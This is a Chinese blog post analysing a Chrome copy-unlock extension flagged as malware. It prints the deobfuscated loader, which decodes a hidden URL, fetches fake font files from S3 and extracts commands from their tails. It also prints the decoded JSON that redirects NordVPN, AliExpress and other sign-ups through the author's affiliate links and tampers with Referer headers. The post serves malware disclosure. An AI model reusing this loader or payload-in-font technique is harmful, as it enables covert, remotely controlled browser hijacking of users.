前言

这个 Chrome 插件就功能而言可以说非常好用, UI干净易用, 几乎可以解决所有网站对选中复制与右键功能的限制, 但是最近突然被检出恶意软件:
拓展id:diniibcebbibcfbfglpiecbadipmegmj
想起使用该插件已经有很长一段时间,而且这些插件是可以读取到访问网站的所有信息。为探究其真实意图,于是就有了本篇文章。

分析

准备

下载 crx 格式的插件并解压,得到 background.js 并格式化

代码已被混淆且超过 8400 行,不过根据经验与观察,这里 8200 行以后才是插件的主要逻辑所在
img

其中 8221 行,有一串疑似base64编码的文本,通过对其搜索引用得到

it = function(t, e) {
    return e ? setTimeout(t, e) : t()
};

// ...

it((function() {
    var t = [ot(at(ot(st()))), xt().split(".")[0], nt(), "font", xt()].join("/");
    ht(t)
}), 48e4);

这段代码似乎就是对上述可疑文本的解密

动态调试

在NodeJS环境中对这段代码下断动态调试,并重命名变量使其更易读

var splitAsTwo = function (t) {
    // 两两切片
    return t ? t.match(/.{1,2}/g) : ""
};

var reverse = function (t) {
        return t.split("").reduce((function (t, e) {
            return e + t
        }), "")
    };
    
var
    subReverse = function (t, start) {
        return start ? reverse(t).slice(start) : reverse(t)
    },
    setTimeOut = function (t, e) {
        return e ? setTimeout(t, e) : t()
    },
    deBase64 = function (t) {
        return t ? atob(t) : "parse"
    },
    text = function (t) {
        return t.text()
    },
    call = function (t) {
        var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : chrome;
        return function (t) {
            for (var r = 0, n = (t = t.split(".")).length; r < n; r++) e = e[t[r]];
            return e
        }(t)
    },
setTimeOut((function () {
    // t = https://s3.amazonaws.com/fa-solid-900/1.0.5/font/fa-solid-900.ttf ???
    var t = [subReverse(deBase64(subReverse("oRHdwNnOv8ycz4SYtFmev5WY3NnLj9Wb"))), "fa-solid-900.ttf".split(".")[0], "1.0.5", "font", "fa-solid-900.ttf"].join("/");
    ht(t)
}), 48e4);
var ht = function (url, then) {
    Et(url).then(text).then(lt(then))
};

观察重名后的代码很容易看出,其对上述字符串做了倒序然后 Base64 解码后再次倒序。

解密得到明文 https://s3.amazonaws.com/fa-solid-900/1.0.5/font/fa-solid-900.ttf

作者在这里使用字体文件做伪装, 如果光分析插件的网络流量的话还是很难发现这些字体的异常

下载下来用 winhex 等16进制编辑工具打开可以看到
image.png
字体文件的尾部被插入了大量可疑内容,而对接下来的代码的分析,也印证了这一猜想

var lt = function (t) {
    return function (data) {
        var r = data.split(data.substr(-15));
        if (4 === r.length && ht(deBase64(subReverse(r[2], 2)), r[1]), 3 === r.length) {
            var n = splitAsTwo(r[1]),
                o = splitAsTwo(t).reduce((function (t, e, r) {
                    return t + e + (n.length > r ? n[r] : "")
                }), "");
            try {
                vt(call("parse", JSON)(deBase64(subReverse(o, 1))))
            } catch (t) { }
        }
    }
};

总结

主要流程

  1. 下载第一个文件fa-solid-900.ttf,并从中取得第二个文件的地址https://s3.amazonaws.com/fa-solid-900/1.0.5/font/Roboto-Medium.ttf与加密秘钥
  2. 下载Roboto-Medium.ttf, 解密得到下发指令的 JSON (节选部分)
{
    "update": {
        "info": [
            {
                "indexOf": [
                    "utm_medium",
                    "nordvpn"
                ]
            },
            {
                "indexOf": [
                    "affiliateCode",
                    "rentalcars"
                ]
            },
            {
                "indexOf": [
                    "aliexpress.com",
                    "aff_platform"
                ]
            },
            {
                "indexOf": [
                    "blibli",
                    "utm"
                ]
            }
        ],
        "time": {
            "object": {
                "runAt": "document_start"
            },
            "star": "window.history.replaceState(null,\"",
            "mid": "\", \"",
            "end": "\")",
            "q": "?",
            "state": "code",
            "stus": "url",
            "bro": "tabs.executeScript",
            "key": "tabs.onUpdated",
            "type": "addListener",
            "use": "removeListener",
            "time": 5000
        }
    },
    "status": {
        "info": [
            {
                "mid": [
                    "*://nordvpn.com/",
                    "*://nordvpn.com/*-*/"
                ],
                "type": [
                    {
                        "info": {
                            "us": [
                                "*://*.admitad.com/*",
                                "*://*.net/*",
                                "*://*.nordvpn.com/*",
                                "*://nordvpn.com/*"
                            ],
                            "mid": "https://socoolgadget.com/index.php/2020/03/27/3-best-vpn-services-in-2020-expressvpn-vs-surfshark-vs-nordvpn/"
                        },
                        "ap": "https://www.httpslink.me/gfgg"
                    },
                    {
                        "ap": "https://www.httpslink.me/scea"
                    }
                ],
                "red": "nvp",
                "lag": 1000,
                "relag": 20680000,
                "ay": [
                    "admitad"
                ]
            },
            {
                "mid": [
                    "*://best.aliexpress.com/",
                    "*://www.aliexpress.com/",
                    "*://www.aliexpress.com/?*",
                    "*://best.aliexpress.com/?*"
                ],
                "type": [
                    {
                        "nic": [
                            {
                                "value": "aff_",
                                "ic": false
                            }
                        ],
                        "info": {
                            "us": [
                                "*://*/*"
                            ]
                        },
                        "ap": "https://s.click.aliexpress.com/e/b6Jk1kus"
                    }
                ],
                "reponse": true,
                "red": "ali",
                "lag": 1000,
                "relag": 14000000
            }
        ],
        "object": {
            "types": [
                "main_frame"
            ]
        },
        "state": {
            "cancel": false
        },
        "type": [
            "blocking"
        ],
        "end": "redirectUrl",
        "mid": "urls",
        "star": "url",
        "types": "addListener",
        "use": "removeListener",
        "bro": "webRequest.onBeforeRequest",
        "const": "addListener",
        "ques": "?",
        "slat": "/"
    },
    "info": {
        "object": {
            "types": [
                "main_frame"
            ]
        },
        "star": [
            "requestHeaders",
            "blocking"
        ],
        "sta": [
            "requestHeaders",
            "blocking",
            "extraHeaders"
        ],
        "mid": "urls",
        "state": "requestHeaders",
        "end": "referer",
        "nd": "Referer",
        "bro": "webRequest.onBeforeSendHeaders",
        "log": "webRequest.OnBeforeSendHeadersOptions.EXTRA_HEADERS",
        "type": "addListener",
        "use": "removeListener",
        "time": 6000
    },
    "upd": {
        "err": "webRequest.onErrorOccurred",
        "br": "windows.getAll",
        "byt": "tabs.getAllInWindow",
        "rid": "runtime.id",
        "typ": {
            "windowTypes": [
                "devtools"
            ]
        },
        "type": "addListener",
        "use": "removeListener",
        "oby": {
            "urls": [
                "http://*/*",
                "https://*/*"
            ],
            "types": [
                "main_frame"
            ]
        },
        "bc": "BLOCKED_BY_CLIENT",
        "tim": 560000,
        "tm": 2000
    }
}

从中可见插件将拦截诸如注册的请求并添加 AFF

  1. 根据下发指令执行相应操作

处理函数

code-snapshot (2)

结论

目前这个插件的危害不算太大(只是目前! 插件行为可以根据作者服务器下发动态改变),会拦截一些网站注册,并在其中加入作者的邀请信息,从而获取返利。

想继续使用此插件的话, 可以使用我去除恶意代码后的版本

安装方法: 打开开发者模式并选择加载已解压的拓展。

本地下载